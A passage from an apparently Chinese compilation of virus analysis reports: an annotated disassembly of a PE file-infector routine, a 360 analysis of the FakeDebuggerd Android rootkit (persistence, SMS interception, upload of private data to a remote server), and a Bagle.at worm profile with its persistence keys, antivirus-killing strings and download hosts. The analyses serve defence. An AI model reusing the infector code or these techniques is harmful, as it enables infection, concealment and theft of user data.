43030000 JMP CLSPACK.00412EEA 00412BA7 E9 F5190000 JMP CLSPACK.004145A1 00412BAC 50 PUSH EAX 00412BAD 52 PUSH EDX 00412BAE 05 00020000 ADD EAX,200 00412BB3 8B53 0C MOV EDX,DWORD PTR DS:[EBX+C] \\\\VirtualAddress 00412BB6 0353 10 ADD EDX,DWORD PTR DS:[EBX+10] \\\\SizeOfRawData 00412BB9 3BC2 CMP EAX,EDX 00412BBB 5A POP EDX 00412BBC 58 POP EAX 00412BBD 77 24 JA SHORT CLSPACK.00412BE3 00412BBF 50 PUSH EAX 00412BC0 0346 34 ADD EAX,DWORD PTR DS:[ESI+34] \\\\ImageBase 00412BC3 8987 18060000 MOV DWORD PTR DS:[EDI+618],EAX \\\\ImageBase+AddressOfEntryPoint 00412BC9 8B43 24 MOV EAX,DWORD PTR DS:[EBX+24] \\\\Characteristics 00412BCC 0D 00000020 OR EAX,20000000 \\\\IMAGE_SCN_MEM_EXECUTE 00412BD1 8943 24 MOV DWORD PTR DS:[EBX+24],EAX \\\\写回 00412BD4 58 POP EAX \\\\AddressOfEntryPoint 00412BD5 2B43 0C SUB EAX,DWORD PTR DS:[EBX+C] \\\\EAX-VirtualAddress 00412BD8 0343 14 ADD EAX,DWORD PTR DS:[EBX+14] \\\\PointerToRawData 00412BDB 8987 A22E0000 MOV DWORD PTR DS:[EDI+2EA2],EAX \\\\EAX->FileOffset 00412BE1 EB 2F JMP SHORT CLSPACK.00412C12 00412BE3 50 PUSH EAX 00412BE4 52 PUSH EDX 00412BE5 8B53 0C MOV EDX,DWORD PTR DS:[EBX+C] 00412BE8 8956 28 MOV DWORD PTR DS:[ESI+28],EDX 00412BEB 0356 34 ADD EDX,DWORD PTR DS:[ESI+34] 00412BEE 8997 18060000 MOV DWORD PTR DS:[EDI+618],EDX 00412BF4 8B43 24 MOV EAX,DWORD PTR DS:[EBX+24] 00412BF7 0D 00000020 OR EAX,20000000 00412BFC 8943 24 MOV DWORD PTR DS:[EBX+24],EAX 00412BFF 5A POP EDX 00412C00 58 POP EAX 00412C01 8B43 14 MOV EAX,DWORD PTR DS:[EBX+14] 00412C04 8987 A22E0000 MOV DWORD PTR DS:[EDI+2EA2],EAX 00412C0A 8987 8C2E0000 MOV DWORD PTR DS:[EDI+2E8C],EAX 00412C10 EB 79 JMP SHORT CLSPACK.00412C8B 00412C12 8D5E 18 LEA EBX,DWORD PTR DS:[ESI+18] \\\\ESI->'PE' 00412C15 33D2 XOR EDX,EDX 00412C17 66:8B56 14 MOV DX,WORD PTR DS:[ESI+14] 00412C1B 03DA ADD EBX,EDX \\\\EBX->.text 00412C1D 33C9 XOR ECX,ECX 00412C1F 66:8B4E 06 MOV CX,WORD PTR DS:[ESI+6] \\\\NumberOfSections 00412C23 8B43 10 MOV EAX,DWORD PTR DS:[EBX+10] \\\\SizeOfRawData 00412C26 2B43 08 SUB EAX,DWORD PTR DS:[EBX+8] \\\\VirtualSize 00412C29 3B87 AE300000 CMP EAX,DWORD PTR DS:[EDI+30AE] \\\\CMP EAX,200 00412C2F 7D 37 JGE SHORT CLSPACK.00412C68 00412C31 8B46 28 MOV EAX,DWORD PTR DS:[ESI+28] 00412C34 8B53 0C MOV EDX,DWORD PTR DS:[EBX+C] 00412C37 3BC2 CMP EAX,EDX 00412C39 72 07 JB SHORT CLSPACK.00412C42 00412C3B 0353 08 ADD EDX,DWORD PTR DS:[EBX+8] 00412C3E 3BC2 CMP EAX,EDX 00412C40 76 18 JBE SHORT CLSPACK.00412C5A 00412C42 83C3 28 ADD EBX,28 00412C45 ^E2 DC LOOPD SHORT CLSPACK.00412C23 00412C47 80BF A02E0000 01 CMP BYTE PTR DS:[EDI+2EA0],1 00412C4E 74 05 JE SHORT CLSPACK.00412C55 00412C50 E9 95020000 JMP CLSPACK.00412EEA 00412C55 E9 47190000 JMP CLSPACK.004145A1 00412C5A 2B43 0C SUB EAX,DWORD PTR DS:[EBX+C] 00412C5D 0343 14 ADD EAX,DWORD PTR DS:[EBX+14] 00412C60 8987 8C2E0000 MOV DWORD PTR DS:[EDI+2E8C],EAX //EPOFileOffset 00412C66 EB 23 JMP SHORT CLSPACK.00412C8B 00412C68 8B43 14 MOV EAX,DWORD PTR DS:[EBX+14] 00412C6B 0343 08 ADD EAX,DWORD PTR DS:[EBX+8] 00412C6E 8987 8C2E0000 MOV DWORD PTR DS:[EDI+2E8C],EAX 00412C74 8B43 0C MOV EAX,DWORD PTR DS:[EBX+C] 00412C77 0343 08 ADD EAX,DWORD PTR DS:[EBX+8] 00412C7A 8946 28 MOV DWORD PTR DS:[ESI+28],EAX 00412C7D 50 PUSH EAX 00412C7E 8B43 08 MOV EAX,DWORD PTR DS:[EBX+8] 00412C81 0387 AE300000 ADD EAX,DWORD PTR DS:[EDI+30AE] 00412C87 8943 08 MOV DWORD PTR DS:[EBX+8],EAX 00412C8A 58 POP EAX 00412C8B 83C3 28 ADD EBX,28 00412C8E ^E2 FB LOOPD SHORT CLSPACK.00412C8B \\\\定位到最后一个节上 00412C90 83EB 28 SUB EBX,28 00412C93 C743 24 400000C0 MOV DWORD PTR DS:[EBX+24],C0000040 \\\\改节属性 00412C9A 8B43 10 MOV EAX,DWORD PTR DS:[EBX+10] \\\\SizeOfRawData 00412C9D 50 PUSH EAX 00412C9E 0343 0C ADD EAX,DWORD PTR DS:[EBX+C] \\\\VirtualAddress 00412CA1 0346 34 ADD EAX,DWORD PTR DS:[ESI+34] \\\\Image 00412CA4 51 PUSH ECX 00412CA5 8A4E 08 MOV CL,BYTE PTR DS:[ESI+8] \\\\TimeDateStamp 00412CA8 80E1 1F AND CL,1F 00412CAB 888F 8B100000 MOV BYTE PTR DS:[EDI+108B],CL 00412CB1 D3C8 ROR EAX,CL 00412CB3 59 POP ECX 00412CB4 8987 7A100000 MOV DWORD PTR DS:[EDI+107A],EAX \\\\020CA000H 00412CBA B9 00320000 MOV ECX,3200 00412CBF 014B 10 ADD DWORD PTR DS:[EBX+10],ECX \\\\把最后一节大小加3200H 00412CC2 014E 20 ADD DWORD PTR DS:[ESI+20],ECX \\\\SizeOfinitializeData+3200H 00412CC5 8B43 10 MOV EAX,DWORD PTR DS:[EBX+10] 00412CC8 3B43 08 CMP EAX,DWORD PTR DS:[EBX+8] 00412CCB 76 03 JBE SHORT CLSPACK.00412CD0 00412CCD 8943 08 MOV DWORD PTR DS:[EBX+8],EAX 00412CD0 05 FF0F0000 ADD EAX,0FFF 00412CD5 25 00F0FFFF AND EAX,FFFFF000 00412CDA 0343 0C ADD EAX,DWORD PTR DS:[EBX+C] 00412CDD 8946 50 MOV DWORD PTR DS:[ESI+50],EAX \\\\SizeOfImage 00412CE0 52 PUSH EDX 00412CE1 8B53 08 MOV EDX,DWORD PTR DS:[EBX+8] 00412CE4 0353 0C ADD EDX,DWORD PTR DS:[EBX+C] 00412CE7 3BC2 CMP EAX,EDX 00412CE9 73 03 JNB SHORT CLSPACK.00412CEE 00412CEB 8956 50 MOV DWORD PTR DS:[ESI+50],EDX 00412CEE 5A POP EDX 00412CEF 5A POP EDX 00412CF0 0353 14 ADD EDX,DWORD PTR DS:[EBX+14] 00412CF3 8B9F 882E0000 MOV EBX,DWORD PTR DS:[EDI+2E88] \\\\hFile 00412CF9 80BF A02E0000 01 CMP BYTE PTR DS:[EDI+2EA0],1 00412D00 75 05 JNZ SHORT CLSPACK.00412D07 00412D02 E9 75170000 JMP CLSPACK.0041447C 00412D07 51 PUSH ECX 00412D08 52 PUSH EDX 00412D09 6A 00 PUSH 0 00412D0B 53 PUSH EBX 00412D0C FF97 B12A0000 CALL DWORD PTR DS:[EDI+2AB1] \\\\GetFileSize 00412D12 5A POP EDX 00412D13 59 POP ECX 00412D14 83F8 00 CMP EAX,0 00412D17 0F84 CD010000 JE CLSPACK.00412EEA 00412D1D 8BDA MOV EBX,EDX 00412D1F 81C3 00020000 ADD EBX,200 00412D25 3BC3 CMP EAX,EBX 00412D27 0F87 BD010000 JA CLSPACK.00412EEA \\\\不符合感染条件则跳(空间不够大) 00412D2D 60 PUSHAD 00412D2E 8B9F 882E0000 MOV EBX,DWORD PTR DS:[EDI+2E88] 00412D34 6A 00 PUSH 0 00412D36 6A 00 PUSH 0 00412D38 8B97 A22E0000 MOV EDX,DWORD PTR DS:[EDI+2EA2] 00412D3E 52 PUSH EDX 00412D3F 53 PUSH EBX 00412D40 FF97 892A0000 CALL DWORD PTR DS:[EDI+2A89] \\\\SetFilePointer 00412D46 83F8 00 CMP EAX,0 00412D49 61 POPAD 00412D4A 0F84 9A010000 JE CLSPACK.00412EEA 00412D50 60 PUSHAD 00412D51 6A 00 PUSH 0 00412D53 8D87 9C2E0000 LEA EAX,DWORD PTR DS:[EDI+2E9C] 00412D59 50 PUSH EAX 00412D5A B8 04020000 MOV EAX,204 00412D5F 50 PUSH EAX 00412D60 8D87 A62E0000 LEA EAX,DWORD PTR DS:[EDI+2EA6] 00412D66 50 PUSH EAX 00412D67 8B9F 882E0000 MOV EBX,DWORD PTR DS:[EDI+2E88] 00412D6D 53 PUSH EBX 00412D6E FF97 9D2A0000 CALL DWORD PTR DS:[EDI+2A9D] \\\\ReadFileA 00412D74 83F8 00 CMP EAX,0 00412D77 61 POPAD 00412D78 0F84 6C010000 JE CLSPACK.00412EEA 00412D7E 83BF A6300000 00 CMP DWORD PTR DS:[EDI+30A6],0 00412D85 75 0A JNZ SHORT CLSPACK.00412D91 00412D87 C787 A6300000 6A>MOV DWORD PTR DS:[EDI+30A6],23EDA56A 00412D91 60 PUSHAD 00412D92 8B9F 882E0000 MOV EBX,DWORD PTR DS:[EDI+2E88] 00412D98 6A 00 PUSH 0 00412D9A 6A 00 PUSH 0 00412D9C 8B97 A22E0000 MOV EDX,DWORD PTR DS:[EDI+2EA2] 00412DA2 52 PUSH EDX 00412DA3 53 PUSH EBX 00412DA4 FF97 892A0000 CALL DWORD PTR DS:[EDI+2A89] \\\\SetFilePointer 00412DAA 83F8 00 CMP EAX,0 00412DAD 61 POPAD 00412DAE 0F84 36010000 JE CLSPACK.00412EEA 00412DB4 60 PUSHAD 00412DB5 6A 00 PUSH 0 00412DB7 8D87 9C2E0000 LEA EAX,DWORD PTR DS:[EDI+2E9C] 00412DBD 50 PUSH EAX 00412DBE B8 00020000 MOV EAX,200 00412DC3 50 PUSH EAX 00412DC4 8D87 4E3F0000 LEA EAX,DWORD PTR DS:[EDI+3F4E] 00412DCA 50 PUSH EAX 00412DCB 8B9F 882E0000 MOV EBX,DWORD PTR DS:[EDI+2E88] 00412DD1 53 PUSH EBX 00412DD2 FF97 7D2A0000 CALL DWORD PTR DS:[EDI+2A7D] \\\\WriteFileA 00412DD8 83F8 00 CMP EAX,0 00412DDB 61 POPAD 00412DDC 0F84 08010000 JE CLSPACK.00412EEA 00412DE2 E8 F5030000 CALL CLSPACK.004131DC \\\\Xor [ESI],EAX len=1FCH 00412DE7 E8 21050000 CALL CLSPACK.0041330D \\\\ROR EAX,10H len=BF5H 00412DEC E8 3B050000 CALL CLSPACK.0041332C \\\\这里是五层加密的地方 00412DF1 E8 F9040000 CALL CLSPACK.004132EF 00412DF6 E8 C3040000 CALL CLSPACK.004132BE \\\\跟前面的五次解密顺序相反 00412DFB 60 PUSHAD 00412DFC E8 92030000 CALL CLSPACK.00413193 00412E01 61 POPAD 00412E02 60 PUSHAD 00412E03 8B9F 882E0000 MOV EBX,DWORD PTR DS:[EDI+2E88] 00412E09 6A 00 PUSH 0 00412E0B 6A 00 PUSH 0 00412E0D 52 PUSH EDX 00412E0E 53 PUSH EBX 00412E0F FF97 892A0000 CALL DWORD PTR DS:[EDI+2A89] 00412E15 83F8 00 CMP EAX,0 00412E18 61 POPAD 00412E19 0F84 CB000000 JE CLSPACK.00412EEA 00412E1F 60 PUSHAD 00412E20 8B9F 882E0000 MOV EBX,DWORD PTR DS:[EDI+2E88] 00412E26 6A 00 PUSH 0 00412E28 8D87 9C2E0000 LEA EAX,DWORD PTR DS:[EDI+2E9C] 00412E2E 50 PUSH EAX 00412E2F 51 PUSH ECX 00412E30 8D87 4E3F0000 LEA EAX,DWORD PTR DS:[EDI+3F4E] 00412E36 50 PUSH EAX 00412E37 53 PUSH EBX 00412E38 FF97 7D2A0000 CALL DWORD PTR DS:[EDI+2A7D] 00412E3E 83F8 00 CMP EAX,0 00412E41 61 POPAD 00412E42 0F84 A2000000 JE CLSPACK.00412EEA 00412E48 60 PUSHAD 00412E49 8B9F 882E0000 MOV EBX,DWORD PTR DS:[EDI+2E88] 00412E4F 6A 00 PUSH 0 00412E51 6A 00 PUSH 0 00412E53 FFB7 902E0000 PUSH DWORD PTR DS:[EDI+2E90] 00412E59 53 PUSH EBX 00412E5A FF97 892A0000 CALL DWORD PTR DS:[EDI+2A89] 00412E60 83F8 00 CMP EAX,0 00412E63 61 POPAD 00412E64 0F84 80000000 JE CLSPACK.00412EEA 00412E6A 60 PUSHAD 00412E6B 8B9F 882E0000 MOV EBX,DWORD PTR DS:[EDI+2E88] 00412E71 6A 00 PUSH 0 00412E73 8D87 9C2E0000 LEA EAX,DWORD PTR DS:[EDI+2E9C] 00412E79 , ; 50 PUSH EAX 00412E7A 68 00040000 PUSH 400 00412E7F 8D87 4A310000 LEA EAX,DWORD PTR DS:[EDI+314A] 00412E85 50 PUSH EAX 00412E86 53 PUSH EBX 00412E87 FF97 7D2A0000 CALL DWORD PTR DS:[EDI+2A7D] 00412E8D 83F8 00 CMP EAX,0 00412E90 61 POPAD 00412E91 74 57 JE SHORT CLSPACK.00412EEA 00412E93 60 PUSHAD 00412E94 8B9F 882E0000 MOV EBX,DWORD PTR DS:[EDI+2E88] 00412E9A 6A 00 PUSH 0 00412E9C 6A 00 PUSH 0 00412E9E FFB7 8C2E0000 PUSH DWORD PTR DS:[EDI+2E8C] 00412EA4 53 PUSH EBX 00412EA5 FF97 892A0000 CALL DWORD PTR DS:[EDI+2A89] 00412EAB 83F8 00 CMP EAX,0 00412EAE 61 POPAD 00412EAF 74 39 JE SHORT CLSPACK.00412EEA 00412EB1 E8 0A050000 CALL CLSPACK.004133C0 00412EB6 E8 D20C0000 CALL CLSPACK.00413B8D 00412EBB E8 35030000 CALL CLSPACK.004131F5 00412EC0 60 PUSHAD 00412EC1 8B9F 882E0000 MOV EBX,DWORD PTR DS:[EDI+2E88] 00412EC7 6A 00 PUSH 0 00412EC9 8D87 9C2E0000 LEA EAX,DWORD PTR DS:[EDI+2E9C] 00412ECF 50 PUSH EAX 00412ED0 FFB7 AE300000 PUSH DWORD PTR DS:[EDI+30AE] 00412ED6 8D87 4A310000 LEA EAX,DWORD PTR DS:[EDI+314A] 00412EDC 50 PUSH EAX 00412EDD 53 PUSH EBX 00412EDE FF97 7D2A0000 CALL DWORD PTR DS:[EDI+2A7D] 00412EE4 83F8 00 CMP EAX,0 00412EE7 61 POPAD 00412EE8 74 00 JE SHORT CLSPACK.00412EEA 00412EEA 8B87 B8290000 MOV EAX,DWORD PTR DS:[EDI+29B8] 00412EF0 83E8 2C SUB EAX,2C 00412EF3 83C0 14 ADD EAX,14 00412EF6 50 PUSH EAX 00412EF7 8B87 B8290000 MOV EAX,DWORD PTR DS:[EDI+29B8] 00412EFD 83E8 2C SUB EAX,2C 00412F00 83C0 0C ADD EAX,0C 00412F03 50 PUSH EAX 00412F04 8B87 B8290000 MOV EAX,DWORD PTR DS:[EDI+29B8] 00412F0A 83E8 2C SUB EAX,2C 00412F0D 83C0 04 ADD EAX,4 00412F10 50 PUSH EAX 00412F11 FFB7 882E0000 PUSH DWORD PTR DS:[EDI+2E88] 00412F17 FF97 B52A0000 CALL DWORD PTR DS:[EDI+2AB5] 00412F1D FFB7 882E0000 PUSH DWORD PTR DS:[EDI+2E88] 00412F23 FF97 792A0000 CALL DWORD PTR DS:[EDI+2A79] \\\\SetFileTime 恢复文件时间,防止被发现 00412F29 81BF 412B0000 88>CMP DWORD PTR DS:[EDI+2B41],88888888 00412F33 74 17 JE SHORT CLSPACK.00412F4C 00412F35 81BF 4D2B0000 CC>CMP DWORD PTR DS:[EDI+2B4D],CCCCCCCC 00412F3F 74 0B JE SHORT CLSPACK.00412F4C 00412F41 68 00100000 PUSH 1000 00412F46 FF97 A92A0000 CALL DWORD PTR DS:[EDI+2AA9] \\\\Sleep 00412F4C FFB7 842E0000 PUSH DWORD PTR DS:[EDI+2E84] 00412F52 FFB7 B4290000 PUSH DWORD PTR DS:[EDI+29B4] 00412F58 FF97 A12A0000 CALL DWORD PTR DS:[EDI+2AA1] \\\\SetFileAttrubutes 恢复文件属性 00412F5E 5E POP ESI 00412F5F C3 RETN 12.则解密原宿主程序代码(总共200字节), 恢复原AddressOfEntryPoint,执行原程序.
篇7:FakeDebuggerd Android rootkit分析报告病毒防范
这是一个rom级别的木马,木马替换系统进程debuggerd实现自启动,重启回写若干apk/jar/elf文件。支持网络和短信两种远控模式,并且带有十几个可配置参数。
只要/system/bin/debuggerd没有被清理,FakeDebuggerd就能从/system/bin/debuggerd文件尾部将所有被删除的文件重新释放。
而debuggerd是原生服务,本身就是开机启动进程,因此木马不需要对init.rc或者其他脚本做额外修改,这样整个行为会更加隐蔽。
FakeDebuggerd加密所有字符串,回写时修复文件创建时间,即使木马apk被发现,也不能通过在目录中暴力搜索字符串来找到作恶的源头/system/bin/debuggerd。从恶意行为上看,该木马具有回写推广widget、篡改默认浏览器主页、静默安装apk,窃取用户手机号、硬件编号、地理位置等恶意行为,木马作者还可以根据回传的手机号单独下发控制配置。
该样本的衍生程序早期变种在末就被发现,本次发现的是其最新变种。目前360已经能够彻底查杀。(专杀工具下载)
篇8:FakeDebuggerd Android rootkit分析报告病毒防范
起初通过pm命令我只能发现可疑系统程序的路径在 /system/framework/AndroidSecurity.apk
然后我尝试使用 pm uninstall 删除,重启之后这个apk又出现了,于是怀疑有固件级别的程序在回写这个apk。
通过查看init.rc 、svc等多个启动脚本,都没有发现异常。在system分区搜索文件的敏感字符串,也没有结果。
于是开始逆向AndroidSecurity.apk,程序多次调用socketWork连接localsocket,发送命令,这和Oldboot机制类似:
找到local socket的源头很容易:首先取得socket的inode。
然后查找引用了这个inode的进程
至此发现源头是debuggerd,通过逆向发现,debuggerd被彻底替换为木马,可以回写其他衍生程序,所以才会发生AndroidSecurity.apk杀不掉的状况
篇9:FakeDebuggerd Android rootkit分析报告病毒防范
debuggerd 回写其他文件,执行root权限命令,更新云控配置等
divadv 使用netfilter截获数据包
sm.jar 独立进程用于拦截短信,转发给AndroidSecurity.apk
AndroidSecurity.apk 木马在java层的主程序,向debuggerd下发指令
Widgetmain.apk 一个拉广告的程序
篇10:FakeDebuggerd Android rootkit分析报告病毒防范
短信拦截是一个敏感操作,该木马没有将这部分代码放在apk中,而是由debuggerd来启动一个jar包,并且将其pid设置为1000
export CLASSPATH=/system/framework/sm.jar.exec app_process /system/bin com.android.commands.sm.Sm “$@”
Sm.jar拦截短信控制指令,更新配置文件,并且必要时与AndroidSecurity.apk通过广播通信
拦截短信,通过广播将相应指令转发给AndroidSecurity.apk
4. AndroidSecurity.Apk
最后来看AndroidSecurity.apk,这是最早发现问题的源头,整个apk仅由一个广播com.android.xbrowser.ABC组成。
它接收以下广播:
接收 com.htc.lucy.initalarmaction :
这个广播是机器启动时初始化时通过AlarmManager调用的,并且定时触发
在该广播触发时,将手机系统信息写入/data/data/com.android.xbrowser/files/1.dat
如果wifi环境没有开启的情况下,尝试设置APN以使用蜂窝网络
与debuggerd通信,添加Widget 到桌面
这个Widget 在/system/app/widgetmain.apk中实现
最后,还会注册一个com.htc.lucy.alarmaction reciever 定时触发
接收 com.htc.lucy.alarmaction :
与com.htc.lucy.initalarmaction类似,但是省去初始化的一些逻辑,定时监测是否需要更新配置文件2.dat,修正蜂窝网络连通性
接收 android.net.conn.CONNECTIVITY_CHANGE :
网络环境更新消息接收后,检查今天是否有尝试更新过云端配置,如果没有,向debuggerd发送消息请求更新
这时候debuggerd联网获取配置,并将配置存储在2.dat中。并且返回给AndroidSecurity.apk一个结果。如果更新成功,AndroidSecurity.apk从2.dat里面获取smskeys(短信拦截关键字),通过com.android.xbrowser.watchdapkbc广播传送给sm.jar。Sm.jar则去拦截短信指令
接收 com.android.xbrowser.smsapkbc
接收 com.android.xbrowser.sm2watchdapkbc
更新文件版本号
接收 android.intent.action.ACTION_SHUTDOWN
流量统计使用,重启之前要将本次开机之后的流量保存在1.dat中
接收 com.android.xbrowser.wapbc
来自sm.jar的查询配置文件2.dat的请求
接收 com.android.xbrowser.smresetbc
Sm.jar重新启动发来的广播,随后本apk向debuggerd发消息
通常执行的操作是杀掉com.android.poweralarm进程,当sm.jar传来特殊的指令时,此apk发送消息
5. Widgetmain.apk
在AndroidSecurity.apk启动时,要求debuggerd向桌面插一个widget
路径是/system/bin/widgetmain.apk 该apk没有特别的恶意行为,目的是推送广告快捷方式到桌面上
篇11:FakeDebuggerd Android rootkit分析报告病毒防范
该程序替换了系统的debuggerd,因此可以通过init.rc的配置开机启动,程序启动后自动释放所有衍生程序,实现所有程序的回写。最后进入无限循环,接收java层程序的命令执行root权限才能执行的操作命令。并且担负起更新云控文件的任务
Phase 0
将文件路径上下文切换到/data/data/com.android.xbrowser/files下,这是木马AndroidSecurity.apk的文件路径,这个文件夹下包含的云端控制命令参数和日志文件
其中1.dat是AndroidSecurity.apk收集的系统信息,由debuggerd回传至云端
2.dat是云端下发的命令,每一行是一个参数。 a.log是debuggerd打印的日志,b.log AndroidSecurity.apk使用的日志 t.dat 记录系统时间
程序接着启动被替换的原始debuggerd,原始debuggerd被命名为aee_aed,并且有一个link /system/bin/testdeb指向aee_aed
执行testdeb
Phase 1
回写所有apk/jar/elf文件,这是debuggerd的核心功能之一。文件数据存放在debuggerd文件内部,所以debuggerd有1.3M之大
这些文件的offset记录在debuggerd文件尾部0×20的地方,debuggerd使用inflate解压数据到系统中进行回写,并且篡改文件的创建时间
获取释放文件的offset
解压文件数据并且释放修改文件属主、时间以掩人耳目,时间被修改为2013-04-18 15:42,即rom中/system/framework/pm.jar的生成时间
具体而言,以下是代码中写明可能释放的文件,但实际上并不是所有文件都被打包进了debuggerd,所以有些文件没有释放。推测这些没有释放的文件应用于早期版本,现在已经被去掉了。
/data/local/tmp/sm/data/local/tmp/sm.jar/system/framework/sm.jar/system/framework/AndroidSecurity.apk/system/bin/divadv/data/bin/busybox/data/bin/wget/system/framework/PowerAlarm.apk(早期变种存在此文件,没有释放)/system/bin/systemalarm(没有释放)/system/bin/alarmwatcher(没有释放)
另外debuggerd在释放apk时做了判断,针对一些特定版本的安卓系统,则释放为.lar文件
释放出sm.jar后,立即调用app_process加载jar包
fork,以system执行 :export CLASSPATH=/system/framework/sm.jar exec app_process /system/bin com.android.commands.sm.Sm “$@”
释放出 divadv,并且判断系统中netfilter启用,立即执行
Phase 2
读取2.dat的参数配置,可以启动第四行参数制定的程序
启动服务线程,服务线程循环监视系统时间,如果时间超过22时且为整点,配置更新状态为true
(Phase 3中会看到,这一步是用户当天在22时之前,从没有连接wifi的前提下触发的。如果用户联通wifi,会立即触发更新。)
并且开始上传用户隐私1.dat ,获取云端命令 2.dat
Phase 3
创建LocalSocket watchd6213,循环接收命令,命令有以下几种:
根据2.dat配置,安装elf和apk
向桌面添加widget
在/data/system/appwidgets.xml中查找默认桌面
/system/etc/customize/default_ui.sql 查询到laucher数据库 /data/data/com.android.launcher/databases/launcher.db
执行sql语句,直接向/data/data/com.android.launcher/databases/launcher.db插入数据,添加widget
杀指定进程,但如果pid是-1000,则清理所有与自己相关的木马文件,并且恢复原始debuggerd
篡改默认浏览器首页,将结果写到 /data/data/com.android.browser/shared_prefs/com.android.browser_preferences.xml 的
通知网络变化状况,如果当前网络变化为wifi环境,则立刻打开云控开关,那么Phase2中的线程立即开始上传用户隐私数据(1.dat),更新云端配置(2.dat)
当然云控的服务器也是可配置的,写在2.dat中
上传隐私至wap.ttok.com
下载配置文件
篇12:FakeDebuggerd Android rootkit分析报告病毒防范
这是我们发现的又一个在手机系统启动阶段重新释放衍生APK程序的rootkit。与Oldboot和DroidKungfu不同,该木马没有修改启动脚本,而是选择直接替换系统进程达到自启动的目的,木马还包含强大的云控机制,有很强的扩展能力,被植入此木马的手机存在不可预估的高危风险。同时我们也注意到rom中木马逐渐增多的趋势,我们将会继续关注此类顽固木马并提供相应的解决方案。
篇13:FakeDebuggerd Android rootkit分析报告病毒防范
通过样本AndroidSecurity.apk的包名和证书,我搜索到该样本的若干历史版本。最早期版本在末出现,在此期间感染方式也有所变化:比如在早起版本中,AndroidSecurity.apk没有使用LocalSocket与debuggerd通信,后来才出现了debuggerd作为守护进程和提权后门;再如,早期也并没有sm.jar这个文件,而是使用一个叫做com.android.poweralarm的应用去拦截短信,后来显然是为了将短信拦截更为隐蔽,移到了一个jar中,通过app_porcess启动。从出现至今,该样本分别以com.android.systemsecurity、com.android.xbrowser 、com.android.poweralarm 、com.htc.systemsecurity 、com.samsung.systemsecurity 等多个包名出现在包括中兴、三星、HTC等多款手机的第三方rom中,先后使用过至少五个证书。
篇14:FakeDebuggerd Android rootkit分析报告病毒防范
目前,我们已经独家发布了专杀工具,下载地址是:
msoftdl.360.cn/mobilesafe/shouji360/360safesis/FakedbgKiller.apk
该专杀可以彻底根除FakeDebuggerd木马。同时建议用户从正规渠道购买手机,安装360手机卫士保护手机安全。如遇到病毒反复查杀、手机中静默安装软件等异常现象,及时向我们反馈。
篇15:恶鹰变种AT病毒分析报告病毒防范
病毒名称:Worm.Beagle.at
中文名称:恶鹰变种at
病毒别名:I-Worm.Bagle.at[AVP]
病毒长度:17924
威胁级别:三级
病毒类型:蠕虫
受影响系统:WinNT/Win2000/WinXP/Windows2003
发现时间:10月29日
病毒简介:
该病毒通过邮件进行传播,用户运行邮件附件后,会尝试关闭计算机内的反病毒软件,并从网上下载一个后门,该蠕虫,还会在受感染的机器的文件中搜索电子邮件,并向搜索到的地址发送邮件。诱惑用户打开运行病毒程序。该病毒会向外发送大量的带毒邮件,严重的堵塞用户网络。建议用户开启防火墙来防止该病毒的侵入。
技术特点:
1.创建以下几个互斥量来防止NetSky病毒运行:
MuXxXxTENYKSDesignedAsTheFollowerOfSkynet-D
'D'r'o'p'p'e'd'S'k'y'N'e't'
_-oOaxX|-+S+-+k+-+y+-+N+-+e+-+t+-|XxKOo-_
[SkyNet.cz]SystemsMutex
AdmSkynetJklS003
____--->>>>U<<<<--____
_-oO]xX|-S-k-y-N-e-t-|Xx[Oo-_
2.在被感染的机器上创建以下文件:
%System%\\bawindo.exe
%System%\\bawindo.exeopen
%System%\\bawindo.exeopenopen
%System%\\re_file.exe
3.在注册表HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run中
增加“wingo”=“%System%\\wingo.exe”来确保自身能随计算机启动
4.从HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run
HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run
删除包含以下字符串的键值:
My AV
Zone Labs Client Ex
9XHtProtect
Antivirus
Special Firewall Service
service
Tiny AV
ICQNet
HtProtect
NetDy
Jammer2nd
FirewallSvr
MsInfo
SysMonXP
EasyAV
PandaAVEngine
Norton Antivirus AV
KasperskyAVEng
SkynetsRevenge
ICQ Net
5.在包含“shar”字符串的目录下创建文件,文件名可能为下列字符:
Microsoft Office 2003 Crack, Working!.exe
Microsoft Windows XP, WinXP Crack, working Keygen.exe
Microsoft Office XP working Crack, Keygen.exe
Porno, sex, oral, anal cool, awesome!!.exe
Porno Screensaver.scr
Serials.txt.exe
KAV 5.0
Kaspersky Antivirus 5.0
Porno pics arhive, xxx.exe
Windows Sourcecode update.doc.exe
Ahead Nero 7.exe
Windown Longhorn Beta Leak.exe
Opera 8 New!.exe
XXX hardcore images.exe
WinAmp 6 New!.exe
WinAmp 5 Pro Keygen Crack Update.exe
Adobe Photoshop 9 full.exe
Matrix 3 Revolution English Subtitles.exe
ACDSee 9.exe
6.搜索以下列字符串为扩展名的文件来获得Email地址,并用自带的SMTP引擎发送带毒邮件
.adb .asp .cfg .cgi .dbx .dhtm .eml .htm .jsp .mbx .mdx .mht .mmf .msg .nch .ods oft .php .pl .sht .shtm .stm .tbb .txt .uin .wab .wsh .xls .xml
7.病毒发送的带毒邮件具有如下特征:
发件人:伪造的
主题:
Re:
Re: Hello
Re: Thank you!
Re: Thanks :)
Re: Hi
正文:
:)
:))
附件:
文件名可能为:
Price
price
Joke
扩展名可能为:
.com/.scr/.cpl
8.该病毒不会向包含以下字符串的邮件地址发送邮件
@avp.
@foo
@hotmail
@iana
@messagelab
@microsoft @msn
abuse
admin
anyone@
bsd
bugs@
cafee
certific
contract@
f-secur
feste
free-av
gold-certs@
help@
icrosoft
info@
kasp
linux
listserv
local
news
nobody@
noone@
noreply
ntivi
panda
pgp
postmaster@
rating@
root@
samples
sopho
spam
support
unix
update
winrar
winzip
9.尝试从下列网站下载文件
www.bottombouncer.com
www.bottombouncer.com
www.anthonyflanagan.com
www.bradster.com
www.traverse.com
www.ims-i.com
www.realgps.com
www.aviation-center.de
www.gci-bln.de
www.pankration.com
www.jansenboiler.com
www.corpsite.com
www.everett.wednet.edu
www.onepositiveplace.org
www.raecoinc.com
www.wwwebad.com
www.corpsite.com
www.wwwebmaster.com
www.wwwebad.com
www.dragcar.com
www.wwwebad.com
www.oohlala-kirkland.com
www.calderwoodinn.com
www.buddyboymusic.com
www.smacgreetings.com
www.tkd2xcell.com
www.curtmarsh.com
www.dontbeaweekendparent.com
www.soloconsulting.com
www.lasermach.com
www.generationnow.net
www.flashcorp.com
www.kencorbett.com
www.FritoPie.NET
www.leonhendrix.com
